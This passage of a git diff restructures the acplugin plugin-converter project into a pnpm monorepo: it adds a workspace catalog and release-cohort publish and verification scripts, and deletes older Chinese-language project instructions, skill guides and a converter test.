'@rollup/rollup-win32-x64-msvc': 4.62.3 + fsevents: 2.3.3 + + run-parallel@1.2.0: + dependencies: + queue-microtask: 1.2.3 + + sade@1.8.1: + dependencies: + mri: 1.2.0 + + safe-buffer@5.2.1: {} + + safer-buffer@2.1.2: {} + + section-matter@1.0.0: + dependencies: + extend-shallow: 2.0.1 + kind-of: 6.0.3 + + semver@7.8.5: {} + + shebang-command@2.0.0: + dependencies: + shebang-regex: 3.0.0 + + shebang-regex@3.0.0: {} + + siginfo@2.0.0: {} + + signal-exit@3.0.7: {} + + signal-exit@4.1.0: {} + + slash@3.0.0: {} + + source-map-js@1.2.1: {} + + spawndamnit@3.0.1: + dependencies: + cross-spawn: 7.0.6 + signal-exit: 4.1.0 + + sprintf-js@1.0.3: {} + + stackback@0.0.2: {} + + std-env@4.2.0: {} + + string-argv@0.3.2: {} + + string_decoder@1.3.0: + dependencies: + safe-buffer: 5.2.1 + + strip-ansi@6.0.1: + dependencies: + ansi-regex: 5.0.1 + + strip-bom-string@1.0.0: {} + + strip-bom@3.0.0: {} + + supports-color@7.2.0: + dependencies: + has-flag: 4.0.0 + + term-size@2.2.1: {} + + tinybench@2.9.0: {} + + tinyexec@1.2.4: {} + + tinyglobby@0.2.17: + dependencies: + fdir: 6.5.0(picomatch@4.0.5) + picomatch: 4.0.5 + + tinyrainbow@3.1.1: {} + + to-regex-range@5.0.1: + dependencies: + is-number: 7.0.0 + + tree-kill@1.2.2: {} + + ts-api-utils@2.5.0(typescript@5.9.3): + dependencies: + typescript: 5.9.3 + + tsdown@0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3): + dependencies: + ansis: 4.3.1 + cac: 7.0.0 + defu: 6.1.7 + empathic: 2.0.1 + hookable: 6.1.1 + import-without-cache: 0.4.0 + obug: 2.1.4 + picomatch: 4.0.5 + rolldown: 1.2.2 + rolldown-plugin-dts: 0.27.14(rolldown@1.2.2)(typescript@5.9.3) + tinyexec: 1.2.4 + tinyglobby: 0.2.17 + tree-kill: 1.2.2 + unconfig-core: 7.5.0 + verkit: 0.3.2 + optionalDependencies: + '@arethetypeswrong/core': 0.18.5 + publint: 0.3.23 + typescript: 5.9.3 + transitivePeerDependencies: + - '@typescript/native-preview' + - '@volar/typescript' + - oxc-resolver + - vue-tsc + + type-check@0.4.0: + dependencies: + prelude-ls: 1.2.1 + + typescript-eslint@8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3): + dependencies: + '@typescript-eslint/eslint-plugin': 8.65.0(@typescript-eslint/parser@8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3))(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) + '@typescript-eslint/parser': 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) + '@typescript-eslint/typescript-estree': 8.65.0(typescript@5.9.3) + '@typescript-eslint/utils': 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) + eslint: 10.8.0(jiti@2.7.0) + typescript: 5.9.3 + transitivePeerDependencies: + - supports-color + + typescript@5.6.1-rc: {} + + typescript@5.9.3: {} + + unconfig-core@7.5.0: + dependencies: + '@quansync/fs': 1.0.0 + quansync: 1.0.0 + + undici-types@6.21.0: {} + + universalify@0.1.2: {} + + uri-js@4.4.1: + dependencies: + punycode: 2.3.1 + + util-deprecate@1.0.2: {} + + validate-npm-package-name@5.0.1: {} + + verkit@0.3.2: {} + + vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0): + dependencies: + esbuild: 0.28.1 + fdir: 6.5.0(picomatch@4.0.5) + picomatch: 4.0.5 + postcss: 8.5.25 + rollup: 4.62.3 + tinyglobby: 0.2.17 + optionalDependencies: + '@types/node': 20.19.43 + fsevents: 2.3.3 + jiti: 2.7.0 + yaml: 2.9.0 + + vitest@4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)): + dependencies: + '@vitest/expect': 4.1.10 + '@vitest/mocker': 4.1.10(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + '@vitest/pretty-format': 4.1.10 + '@vitest/runner': 4.1.10 + '@vitest/snapshot': 4.1.10 + '@vitest/spy': 4.1.10 + '@vitest/utils': 4.1.10 + es-module-lexer: 2.3.1 + expect-type: 1.4.0 + magic-string: 0.30.21 + obug: 2.1.4 + pathe: 2.0.3 + picomatch: 4.0.5 + std-env: 4.2.0 + tinybench: 2.9.0 + tinyexec: 1.2.4 + tinyglobby: 0.2.17 + tinyrainbow: 3.1.1 + vite: 7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0) + why-is-node-running: 2.3.0 + optionalDependencies: + '@types/node': 20.19.43 + transitivePeerDependencies: + - msw + + wcwidth@1.0.1: + dependencies: + defaults: 1.0.4 + + which@2.0.2: + dependencies: + isexe: 2.0.0 + + why-is-node-running@2.3.0: + dependencies: + siginfo: 2.0.0 + stackback: 0.0.2 + + word-wrap@1.2.5: {} + + yaml@2.9.0: {} + + yocto-queue@0.1.0: {} + + yuku-ast@0.8.3: + dependencies: + '@yuku-toolchain/types': 0.8.3 + + yuku-codegen@0.8.3: + dependencies: + '@yuku-toolchain/types': 0.8.3 + optionalDependencies: + '@yuku-codegen/binding-android-arm64': 0.8.3 + '@yuku-codegen/binding-darwin-arm64': 0.8.3 + '@yuku-codegen/binding-darwin-x64': 0.8.3 + '@yuku-codegen/binding-freebsd-x64': 0.8.3 + '@yuku-codegen/binding-linux-arm-gnu': 0.8.3 + '@yuku-codegen/binding-linux-arm-musl': 0.8.3 + '@yuku-codegen/binding-linux-arm64-gnu': 0.8.3 + '@yuku-codegen/binding-linux-arm64-musl': 0.8.3 + '@yuku-codegen/binding-linux-x64-gnu': 0.8.3 + '@yuku-codegen/binding-linux-x64-musl': 0.8.3 + '@yuku-codegen/binding-win32-arm64': 0.8.3 + '@yuku-codegen/binding-win32-x64': 0.8.3 + + yuku-parser@0.8.3: + dependencies: + '@yuku-toolchain/types': 0.8.3 + yuku-ast: 0.8.3 + optionalDependencies: + '@yuku-parser/binding-android-arm64': 0.8.3 + '@yuku-parser/binding-darwin-arm64': 0.8.3 + '@yuku-parser/binding-darwin-x64': 0.8.3 + '@yuku-parser/binding-freebsd-x64': 0.8.3 + '@yuku-parser/binding-linux-arm-gnu': 0.8.3 + '@yuku-parser/binding-linux-arm-musl': 0.8.3 + '@yuku-parser/binding-linux-arm64-gnu': 0.8.3 + '@yuku-parser/binding-linux-arm64-musl': 0.8.3 + '@yuku-parser/binding-linux-x64-gnu': 0.8.3 + '@yuku-parser/binding-linux-x64-musl': 0.8.3 + '@yuku-parser/binding-win32-arm64': 0.8.3 + '@yuku-parser/binding-win32-x64': 0.8.3 diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml new file mode 100644 index 0000000..a8ec31a --- /dev/null +++ b/pnpm-workspace.yaml @@ -0,0 +1,35 @@ +packages: + - packages/* + +catalog: + '@arethetypeswrong/core': ^0.18.5 + '@changesets/cli': ^2.31.1 + '@eslint/js': ^10.0.1 + '@iarna/toml': ^2.2.5 + '@inquirer/prompts': ^8.3.2 + '@stylistic/eslint-plugin': ^5.10.0 + '@types/node': ^20.19.0 + '@types/semver': ^7.7.1 + chalk: ^5.6.2 + chokidar: ^5.0.0 + commander: ^15.0.0 + eslint: ^10.8.0 + glob: ^13.0.6 + gray-matter: ^4.0.3 + husky: ^9.1.7 + jiti: ^2.7.0 + lint-staged: ^17.2.0 + ora: ^5.4.1 + publint: ^0.3.23 + rolldown: ^1.2.2 + semver: ^7.8.5 + tsdown: ^0.22.14 + typescript: ^5.9.3 + typescript-eslint: ^8.65.0 + vitest: ^4.1.10 + yaml: ^2.9.0 + +catalogMode: strict +cleanupUnusedCatalogs: true +linkWorkspacePackages: false +saveWorkspaceProtocol: rolling diff --git a/rules/claude-instructions.mdc b/rules/claude-instructions.mdc deleted file mode 100644 index 10c0594..0000000 --- a/rules/claude-instructions.mdc +++ /dev/null @@ -1,95 +0,0 @@ ---- -description: Project instructions imported from Claude Code CLAUDE.md -alwaysApply: true ---- -# acplugin 项目规范 - -## 项目概述 - -acplugin 是一个 CLI 工具,将 Claude Code 插件(Skills、Instructions、MCP、Agents、Commands、Hooks)转换为 Codex CLI、OpenCode 和 Cursor 格式。 - -## 技术栈 - -- TypeScript + Node.js (CommonJS) -- Commander.js (CLI) -- @inquirer/prompts + chalk (TUI) -- gray-matter (YAML frontmatter) -- @iarna/toml (TOML 序列化) -- vitest (测试) - -## 项目结构 - -``` -src/ -├── index.ts # CLI 入口 + 交互式 wizard -├── types.ts # 所有类型定义 -├── github.ts # GitHub 仓库下载 -├── tui.ts # TUI 交互(wizard、checkbox、彩色输出) -├── scanner/ -│ ├── claude.ts # .claude/ 项目结构扫描(导出可复用函数) -│ └── plugin.ts # .claude-plugin/ 插件格式扫描 -├── converter/ -│ ├── skill.ts # SKILL.md 转换 -│ ├── instructions.ts # CLAUDE.md → AGENTS.md / .mdc -│ ├── mcp.ts # .mcp.json → TOML / JSON -│ ├── agent.ts # Agent 定义转换(含降级策略) -│ ├── command.ts # Command 转换 -│ └── hooks.ts # Hooks 转换(含兼容性报告) -├── writer/ -│ ├── codex.ts # Codex 输出编排 -│ ├── opencode.ts # OpenCode 输出编排 -│ └── cursor.ts # Cursor 输出编排 -└── utils/ - ├── frontmatter.ts # YAML frontmatter 解析/序列化 - ├── toml.ts # TOML 工具 - └── fs.ts # 文件系统工具 -``` - -## 架构设计原则 - -- **三阶段 Pipeline**: Scanner → Converter → Writer -- **Scanner 提取可复用函数**: `scanSkillsDir()`, `scanAgentsDir()` 等被 claude.ts 和 plugin.ts 共用 -- **Converter 无副作用**: 接收数据,返回 `ConvertedFile`,不直接写文件 -- **Writer 负责编排**: 调用多个 converter,处理合并逻辑(如多个 instruction 合并为一个 AGENTS.md) -- **降级策略**: 目标平台不支持的功能降级为文档/规则,并输出 warning - -## 开发规范 - -### 添加新资源类型 -1. 在 `types.ts` 添加类型定义 -2. 在 `scanner/claude.ts` 添加扫描函数(导出为可复用) -3. 在 `scanner/plugin.ts` 集成 -4. 创建 `converter/xxx.ts`,实现三个平台的转换 -5. 在三个 `writer/*.ts` 中调用 converter -6. 添加测试 - -### 添加新目标平台 -1. 在 `types.ts` 的 `Platform` 联合类型添加新值 -2. 每个 `converter/*.ts` 添加新平台的转换逻辑 -3. 创建 `writer/newplatform.ts` -4. 在 `index.ts` 注册 -5. 在 `tui.ts` 的 `selectPlatforms()` 添加选项 -6. 添加测试 - -### Frontmatter 解析容错 -- 社区插件的 YAML frontmatter 可能格式不规范 -- `scanSkillsDir()` 和 `scanAgentsDir()` 已加 try-catch -- 解析失败时保留原始内容,frontmatter 设为空对象 - -### 测试 -- 测试文件在 `src/__tests__/` -- test-fixture/ 目录提供完整的 Claude Code 项目示例 -- 运行: `npm test` 或 `npx vitest run` -- 每个 converter 模块有独立测试文件 - -### npm 发布 -- 包名: `@disdjj/acplugin` -- 账号有 2FA,发布需要 OTP: `npm publish --access=public` -- `prepublishOnly` 自动编译 -- `files` 字段排除了 `dist/__tests__/` - -## Git 规范 - -- commit message 使用 conventional commits 格式 -- 仓库: https://github.com/TokenRollAI/acplugin -- 主分支: main diff --git a/scripts/publish-release-cohort.mjs b/scripts/publish-release-cohort.mjs new file mode 100644 index 0000000..4c74c29 --- /dev/null +++ b/scripts/publish-release-cohort.mjs @@ -0,0 +1,121 @@ +import { spawn } from 'node:child_process'; +import { readFile } from 'node:fs/promises'; +import path from 'node:path'; +import process from 'node:process'; +import { setTimeout as delay } from 'node:timers/promises'; +import { fileURLToPath, URL } from 'node:url'; + +export const RELEASE_ORDER = [ + '@tokenroll/acplugin-module-hooks', + '@tokenroll/acplugin-module-mcp', + '@tokenroll/acplugin', +]; + +function run(command, args, capture = false) { + return new Promise((resolve, reject) => { + const child = spawn(command, args, { stdio: capture ? ['ignore', 'pipe', 'pipe'] : 'inherit' }); + let stdout = ''; + if (capture) + child.stdout.setEncoding('utf8').on('data', chunk => stdout += chunk); + child.once('error', reject); + child.once('close', code => resolve({ code, stdout: stdout.trim() })); + }); +} + +export async function publishReleaseCohort({ + version, + packages = RELEASE_ORDER, + attempts = 10, + view = async (name) => { + const result = await run('npm', ['view', `${name}@${version}`, 'version'], true); + return result.code === 0 ? result.stdout : undefined; + }, + publish = async (name) => { + const result = await run('pnpm', ['--filter', name, 'publish', '--access', 'public', '--no-git-checks']); + if (result.code !== 0) + throw new Error(`Publication failed for ${name}@${version}.`); + }, + wait = milliseconds => delay(milliseconds), + log = message => process.stdout.write(`${message}\n`), +} = {}) { + if (typeof version !== 'string' || version === '') + throw new Error('A release version is required.'); + + for (const name of packages) { + if (await view(name) === version) { + log(`${name}@${version} already exists; skipping publish.`); + } else { + await publish(name); + } + + let verified = false; + for (let attempt = 1; attempt <= attempts; attempt += 1) { + if (await view(name) === version) { + verified = true; + log(`Verified ${name}@${version}.`); + break; + } + if (attempt < attempts) + await wait(10_000); + } + if (!verified) + throw new Error(`Registry did not expose ${name}@${version} after publication.`); + } +} + +async function selfTest() { + const views = new Map(); + const published = []; + const waited = []; + const version = '1.0.0'; + await publishReleaseCohort({ + version, + attempts: 3, + view: async (name) => { + const count = (views.get(name) ?? 0) + 1; + views.set(name, count); + if (name === '@tokenroll/acplugin-module-mcp') + return version; + if (name === '@tokenroll/acplugin') + return count >= 3 ? version : undefined; + return count >= 2 ? version : undefined; + }, + publish: async name => published.push(name), + wait: async milliseconds => waited.push(milliseconds), + log: () => {}, + }); + const expected = ['@tokenroll/acplugin-module-hooks', '@tokenroll/acplugin']; + if (JSON.stringify(published) !== JSON.stringify(expected) || waited.length !== 1) + throw new Error('Release cohort skip/retry self-test failed.'); + + let failed = false; + try { + await publishReleaseCohort({ + version, + packages: ['@tokenroll/acplugin'], + attempts: 2, + view: async () => undefined, + publish: async () => {}, + wait: async () => {}, + log: () => {}, + }); + } catch (error) { + failed = error instanceof Error && error.message.includes('Registry did not expose'); + } + if (!failed) + throw new Error('Release cohort failure self-test failed.'); + process.stdout.write('Verified release cohort exact-version skip and bounded retry behavior.\n'); +} + +async function main() { + if (process.argv[2] === '--self-test') { + await selfTest(); + return; + } + const root = path.resolve(fileURLToPath(new URL('..', import.meta.url))); + const manifest = JSON.parse(await readFile(path.join(root, 'packages/acplugin/package.json'), 'utf8')); + await publishReleaseCohort({ version: manifest.version }); +} + +if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) + await main(); diff --git a/scripts/verify-release-cohort.mjs b/scripts/verify-release-cohort.mjs new file mode 100644 index 0000000..03a6e18 --- /dev/null +++ b/scripts/verify-release-cohort.mjs @@ -0,0 +1,33 @@ +import { readFileSync } from 'node:fs'; +import process from 'node:process'; + +const publicPackages = [ + ['packages/module-hooks/package.json', '@tokenroll/acplugin-module-hooks'], + ['packages/module-mcp/package.json', '@tokenroll/acplugin-module-mcp'], + ['packages/acplugin/package.json', '@tokenroll/acplugin'], +]; + +const manifests = publicPackages.map(([file, expectedName]) => { + const manifest = JSON.parse(readFileSync(file, 'utf8')); + if (manifest.name !== expectedName) + throw new Error(`${file} has unexpected package name ${manifest.name}.`); + if (manifest.private === true) + throw new Error(`${expectedName} must remain publishable.`); + return manifest; +}); + +const versions = new Set(manifests.map(manifest => manifest.version)); +if (versions.size !== 1) + throw new Error('Public package versions are not fixed.'); + +const version = manifests[0].version; +const tag = process.argv[2] ?? process.env.GITHUB_REF_NAME; +if (tag && tag !== `tokenroll-v${version}`) + throw new Error(`Tag ${tag} must equal tokenroll-v${version}.`); + +for (const moduleManifest of manifests.slice(0, 2)) { + if (moduleManifest.peerDependencies?.['@tokenroll/acplugin'] !== 'workspace:^') + throw new Error(`${moduleManifest.name} must use workspace:^ for its acplugin peer.`); +} + +process.stdout.write(`Verified fixed @tokenroll/acplugin ${version} release cohort${tag ? ` for ${tag}` : ''}.\n`); diff --git a/scripts/verify-release.mjs b/scripts/verify-release.mjs new file mode 100644 index 0000000..64eb2e8 --- /dev/null +++ b/scripts/verify-release.mjs @@ -0,0 +1,167 @@ +import { spawn } from 'node:child_process'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import process from 'node:process'; +import { fileURLToPath, URL } from 'node:url'; + +const root = path.resolve(fileURLToPath(new URL('..', import.meta.url))); +const packages = [ + { name: '@tokenroll/acplugin-module-hooks' }, + { name: '@tokenroll/acplugin-module-mcp' }, + { name: '@tokenroll/acplugin' }, +]; +const privateNames = new Set([ + '@acplugin/core', + '@acplugin/compiler-claude-code', + '@acplugin/compiler-codex', + '@acplugin/test', +]); + +function run(command, args, cwd, options = {}) { + return new Promise((resolve, reject) => { + const child = spawn(command, args, { + cwd, + env: process.env, + stdio: options.capture ? ['ignore', 'pipe', 'pipe'] : 'inherit', + }); + let stdout = ''; + let stderr = ''; + if (options.capture) { + child.stdout.setEncoding('utf8').on('data', chunk => stdout += chunk); + child.stderr.setEncoding('utf8').on('data', chunk => stderr += chunk); + } + child.once('error', reject); + child.once('close', (code) => { + if (code === 0) + resolve({ stdout, stderr }); + else + reject(new Error(`${command} ${args.join(' ')} failed with exit code ${code}.${stderr ? `\n${stderr}` : ''}`)); + }); + }); +} + +function assert(condition, message) { + if (!condition) + throw new Error(message); +} + +async function tarballFor(directory, name) { + const before = new Set(await fs.readdir(directory)); + await run('pnpm', ['--filter', name, 'pack', '--pack-destination', directory], root); + const created = (await fs.readdir(directory)).filter(file => file.endsWith('.tgz') && !before.has(file)); + assert(created.length === 1, `Expected one tarball for ${name}, found ${created.length}.`); + return path.join(directory, created[0]); +} + +async function inspectTarball(tarball, expectedName, extractRoot) { + const listed = (await run('tar', ['-tzf', tarball], root, { capture: true })).stdout.trim().split('\n').filter(Boolean); + assert(listed.every(file => file.startsWith('package/')), `${expectedName} tarball contains an entry outside package/.`); + const leaked = listed.filter(file => /(?:^|\/)(?:src|test|__tests__)(?:\/|$)/.test(file) || /\.(?:ts|tsx)$/.test(file)); + assert(leaked.length === 0, `${expectedName} tarball leaks source/test files: ${leaked.join(', ')}`); + assert(listed.includes('package/README.md'), `${expectedName} tarball is missing README.md.`); + assert(listed.includes('package/LICENSE'), `${expectedName} tarball is missing LICENSE.`); + + const destination = path.join(extractRoot, expectedName.replace(/[^a-z0-9]+/gi, '-')); + await fs.mkdir(destination, { recursive: true }); + await run('tar', ['-xzf', tarball, '-C', destination], root); + const manifest = JSON.parse(await fs.readFile(path.join(destination, 'package/package.json'), 'utf8')); + assert(manifest.name === expectedName, `Packed manifest name mismatch for ${expectedName}.`); + for (const field of ['dependencies', 'peerDependencies', 'optionalDependencies']) { + for (const dependency of Object.keys(manifest[field] ?? {})) + assert(!privateNames.has(dependency), `${expectedName} exposes private runtime dependency ${dependency}.`); + } + return manifest; +} + +async function verifyConsumer(tarballs, temporary) { + const consumer = path.join(temporary, 'consumer'); + await fs.mkdir(path.join(consumer, 'src/skills/hello'), { recursive: true }); + const dependencies = Object.fromEntries(packages.map(item => [item.name, `file:${tarballs.get(item.name)}`])); + await fs.writeFile(path.join(consumer, 'package.json'), `${JSON.stringify({ + name: 'acplugin-packed-consumer', + version: '0.0.0', + private: true, + type: 'module', + scripts: { + typecheck: 'tsc --noEmit', + validate: 'acplugin validate --json', + build: 'acplugin build --json', + }, + dependencies, + devDependencies: { + '@types/node': '^20.19.0', + 'typescript': '^5.9.3', + }, + }, null, 2)}\n`); + await fs.writeFile(path.join(consumer, 'tsconfig.json'), `${JSON.stringify({ + compilerOptions: { + target: 'ES2022', + module: 'NodeNext', + moduleResolution: 'NodeNext', + strict: true, + noEmit: true, + types: ['node'], + skipLibCheck: true, + }, + include: ['acplugin.config.ts'], + }, null, 2)}\n`); + await fs.writeFile(path.join(consumer, 'acplugin.config.ts'), `import { defineConfig } from '@tokenroll/acplugin'; +import hooks from '@tokenroll/acplugin-module-hooks'; +import mcp from '@tokenroll/acplugin-module-mcp'; + +export default defineConfig({ + name: 'packed-consumer', + version: '1.0.0', + description: 'Clean tarball consumer.', + modules: [hooks(), mcp()], +}); +`); + await fs.writeFile(path.join(consumer, 'src/skills/hello/SKILL.md'), `--- +description: Verify the packed consumer. +--- +Validate that both target packages can be built from installed tarballs. +`); + + await run('pnpm', ['install', '--ignore-workspace'], consumer); + await run('pnpm', ['run', 'typecheck'], consumer); + await run('node', ['--input-type=module', '--eval', 'import(\'@tokenroll/acplugin\').then(m => { if (typeof m.defineConfig !== \'function\') process.exit(1) })'], consumer); + const validate = await run('pnpm', ['exec', 'acplugin', 'validate', '--json'], consumer, { capture: true }); + assert(JSON.parse(validate.stdout).success === true, 'Packed consumer validation failed.'); + const build = await run('pnpm', ['exec', 'acplugin', 'build', '--json'], consumer, { capture: true }); + assert(JSON.parse(build.stdout).success === true, 'Packed consumer build failed.'); + await fs.access(path.join(consumer, 'dist/claude-code/.claude-plugin/plugin.json')); + await fs.access(path.join(consumer, 'dist/codex/.codex-plugin/plugin.json')); +} + +async function main() { + const temporary = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-release-verify-')); + try { + const tarballDirectory = path.join(temporary, 'tarballs'); + const extractRoot = path.join(temporary, 'extract'); + await fs.mkdir(tarballDirectory, { recursive: true }); + const tarballs = new Map(); + const manifests = new Map(); + for (const item of packages) { + const tarball = await tarballFor(tarballDirectory, item.name); + tarballs.set(item.name, tarball); + manifests.set(item.name, await inspectTarball(tarball, item.name, extractRoot)); + } + const versions = new Set([...manifests.values()].map(manifest => manifest.version)); + assert(versions.size === 1, 'The public release cohort must use one version.'); + const version = [...versions][0]; + for (const moduleName of ['@tokenroll/acplugin-module-hooks', '@tokenroll/acplugin-module-mcp']) { + const peerRange = manifests.get(moduleName).peerDependencies?.['@tokenroll/acplugin']; + assert(peerRange === `^${version}`, `${moduleName} must pack with @tokenroll/acplugin peer range ^${version}.`); + } + await verifyConsumer(tarballs, temporary); + process.stdout.write(`Verified three @tokenroll/acplugin ${version} tarballs in a clean consumer.\n`); + } finally { + if (process.env.ACPLUGIN_KEEP_RELEASE_TEMP !== '1') + await fs.rm(temporary, { recursive: true, force: true }); + else + process.stderr.write(`Release verification files retained at ${temporary}\n`); + } +} + +await main(); diff --git a/skills/add-converter/SKILL.md b/skills/add-converter/SKILL.md deleted file mode 100644 index fe30a9a..0000000 --- a/skills/add-converter/SKILL.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -name: add-converter -description: >- - Add a new resource type converter to acplugin (e.g., adding support for - converting a new Claude Code resource type) ---- - -# 添加新资源类型转换器 - -当需要支持转换新的 Claude Code 资源类型时,按以下步骤操作。 - -## 步骤 - -### 1. 定义类型 (`src/types.ts`) - -添加新资源的接口定义和 frontmatter 类型(如果有),以及在 `ScanResult` 中添加字段。在 `ConvertedFile.type` 联合类型中添加新值。 - -### 2. 添加扫描函数 (`src/scanner/claude.ts`) - -创建并导出可复用的扫描函数(如 `scanXxxDir()`),这样 `plugin.ts` 也能使用。 - -在 `scanClaudeProject()` 中调用新函数。 - -### 3. 集成 Plugin Scanner (`src/scanner/plugin.ts`) - -在 `scanPlugin()` 中调用新扫描函数,注意 plugin 目录结构与 .claude/ 不同: -- 项目: `.claude/xxx/` -- Plugin: `xxx/`(直接在 plugin 根目录下) - -更新 `countResources()` 包含新资源。 - -### 4. 创建 Converter (`src/converter/xxx.ts`) - -实现 `convertXxx(item, platform)` 函数,处理三个平台: - -```typescript -export function convertXxx(item: Xxx, platform: Platform): ConvertedFile { - switch (platform) { - case 'codex': return convertToCodex(item); - case 'opencode': return convertToOpenCode(item); - case 'cursor': return convertToCursor(item); - } -} -``` - -**关键原则**: -- Converter 无副作用,只返回 `ConvertedFile` -- 不支持的功能用降级策略(合并到 AGENTS.md 或 rules) -- 返回 warnings 告知用户不兼容项 - -### 5. 集成 Writer (`src/writer/*.ts`) - -在三个 writer 文件中调用新 converter,处理合并逻辑。 - -### 6. 更新 CLI 输出 (`src/index.ts`) - -更新 `printScanResult()` 和 `convertSingleScan()` 中的资源计数。 - -### 7. 添加测试 (`src/__tests__/xxx.test.ts`) - -为新 converter 创建测试,覆盖三个平台的转换逻辑。 - -### 8. 更新 test-fixture/ - -在 `test-fixture/` 中添加新资源类型的示例文件,确保 `scanner.test.ts` 覆盖。 - -## Frontmatter 解析容错 - -社区插件的 YAML 可能格式不规范。扫描函数中必须 try-catch `parseFrontmatter()`,解析失败时用空 frontmatter + 原始内容兜底。 diff --git a/skills/add-platform/SKILL.md b/skills/add-platform/SKILL.md deleted file mode 100644 index 3abaee1..0000000 --- a/skills/add-platform/SKILL.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -name: add-platform -description: 'Add support for a new target platform to acplugin (e.g., Windsurf, Zed, etc.)' ---- - -# 添加新目标平台 - -当需要支持新的 AI 编程工具作为转换目标时,按以下步骤操作。 - -## 前置调研 - -1. 了解目标平台的配置格式: - - Skills/技能文件格式和路径 - - 自定义指令文件(类似 CLAUDE.md / AGENTS.md) - - MCP 服务器配置格式 - - Agent 定义方式(如果有) - - 命令/斜杠命令格式 - - Hooks 系统(如果有) - -2. 确认格式差异和降级策略 - -## 实施步骤 - -### 1. 类型注册 (`src/types.ts`) - -在 `Platform` 联合类型中添加新值: -```typescript -export type Platform = 'codex' | 'opencode' | 'cursor' | 'newplatform'; -``` - -### 2. 每个 Converter 添加分支 - -在所有 `src/converter/*.ts` 文件中,给 `switch (platform)` 添加新的 case。 - -参考现有平台的转换逻辑,特别关注: -- **路径映射**:新平台的目录结构 -- **Frontmatter 差异**:新平台是否需要特殊字段 -- **降级策略**:不支持的功能如何处理 - -### 3. 创建 Writer (`src/writer/newplatform.ts`) - -复制 `cursor.ts` 作为模板,修改平台名: -```typescript -export function generateNewPlatform(scan: ScanResult): ConvertResult { ... } -``` - -### 4. CLI 注册 (`src/index.ts`) - -- `generateForPlatform()` 添加新 case -- `validPlatforms` 数组添加新值 -- import 新 writer - -### 5. TUI 注册 (`src/tui.ts`) - -在 `selectPlatforms()` 的 choices 中添加新选项。 - -### 6. 测试 - -- 每个 converter 测试文件添加新平台的用例 -- 新增 `src/__tests__/newplatform-writer.test.ts`(可选) - -### 7. 文档 - -- 更新 README.md 和 README.zh-CN.md 的支持矩阵表格 -- 更新 llmdoc/reference/conversion-matrix.md - -## 降级策略参考 - -| 场景 | 推荐策略 | -|------|---------| -| 平台无 Agent 系统 | 降级为指令/规则文件 | -| 平台无 Hooks | 记录为文档 + 输出 warning | -| 平台 MCP 格式不同 | 做字段映射转换 | -| 平台无 Skills 概念 | 转为命令或规则文件 | -| Claude 特有字段 | 保留为 HTML 注释 | diff --git a/skills/npm-publish/SKILL.md b/skills/npm-publish/SKILL.md deleted file mode 100644 index ba940e5..0000000 --- a/skills/npm-publish/SKILL.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -name: npm-publish -description: 'Publish acplugin to npm with version bump, build, test, and 2FA handling' -disable-model-invocation: true ---- - -# npm 发布流程 - -## 步骤 - -1. **版本升级** - ```bash - npm version --no-git-tag-version - ``` - -2. **构建 + 测试** - ```bash - npm run build && npm test - ``` - -3. **检查打包内容**(确认无测试文件) - ```bash - npm pack --dry-run - ``` - -4. **发布** - 账号有 2FA,需要用户手动输入 OTP: - ``` - 提示用户运行: ! npm publish --access=public - ``` - -5. **Commit + Push** - ```bash - git add package.json package-lock.json - git commit -m "chore: bump version to $(node -p 'require("./package.json").version')" - git push - ``` - -## 注意事项 - -- 包名是 `@disdjj/acplugin`(scoped),必须加 `--access=public` -- 不要尝试在脚本中自动发布,2FA 会阻塞 -- `prepublishOnly` 脚本会自动编译 -- `files` 字段已排除 `dist/__tests__/` diff --git a/src/__tests__/agent.test.ts b/src/__tests__/agent.test.ts deleted file mode 100644 index a189680..0000000 --- a/src/__tests__/agent.test.ts +++ /dev/null @@ -1,90 +0,0 @@ -import { describe, it, expect } from 'vitest'; -import { convertAgent } from '../converter/agent.js'; -import type { Agent } from '../types.js'; - -const sampleAgent: Agent = { - fileName: 'code-reviewer', - frontmatter: { - name: 'code-reviewer', - description: 'Reviews code for bugs', - tools: 'Read, Grep, Bash', - model: 'sonnet', - maxTurns: 20, - effort: 'high', - }, - body: '\nYou are a code reviewer.\n1. Check for bugs\n2. Report issues\n', - sourcePath: '/tmp/.claude/agents/code-reviewer.md', -}; - -describe('convertAgent', () => { - it('converts to codex as .toml subagent file', () => { - const result = convertAgent(sampleAgent, 'codex'); - expect(result.path).toBe('.codex/agents/code-reviewer.toml'); - expect(result.type).toBe('agent'); - expect(result.content).toContain('name = "code-reviewer"'); - expect(result.content).toContain('description = "Reviews code for bugs"'); - expect(result.content).toContain('developer_instructions'); - expect(result.content).toContain('You are a code reviewer'); - }); - - it('maps Claude model to gpt-5.6-sol for codex', () => { - const result = convertAgent(sampleAgent, 'codex'); - expect(result.content).toContain('model = "gpt-5.6-sol"'); - expect(result.content).not.toContain('sonnet'); - }); - - it('defaults to gpt-5.6-sol when no model specified', () => { - const noModelAgent: Agent = { - ...sampleAgent, - frontmatter: { ...sampleAgent.frontmatter, model: undefined }, - }; - const result = convertAgent(noModelAgent, 'codex'); - expect(result.content).toContain('model = "gpt-5.6-sol"'); - }); - - it('maps tools to sandbox_mode for codex', () => { - const result = convertAgent(sampleAgent, 'codex'); - // Has Bash in tools → workspace-write - expect(result.content).toContain('sandbox_mode = "workspace-write"'); - }); - - it('maps read-only tools to read-only sandbox for codex', () => { - const readOnlyAgent: Agent = { - ...sampleAgent, - frontmatter: { ...sampleAgent.frontmatter, tools: 'Read, Grep, Glob' }, - }; - const result = convertAgent(readOnlyAgent, 'codex'); - 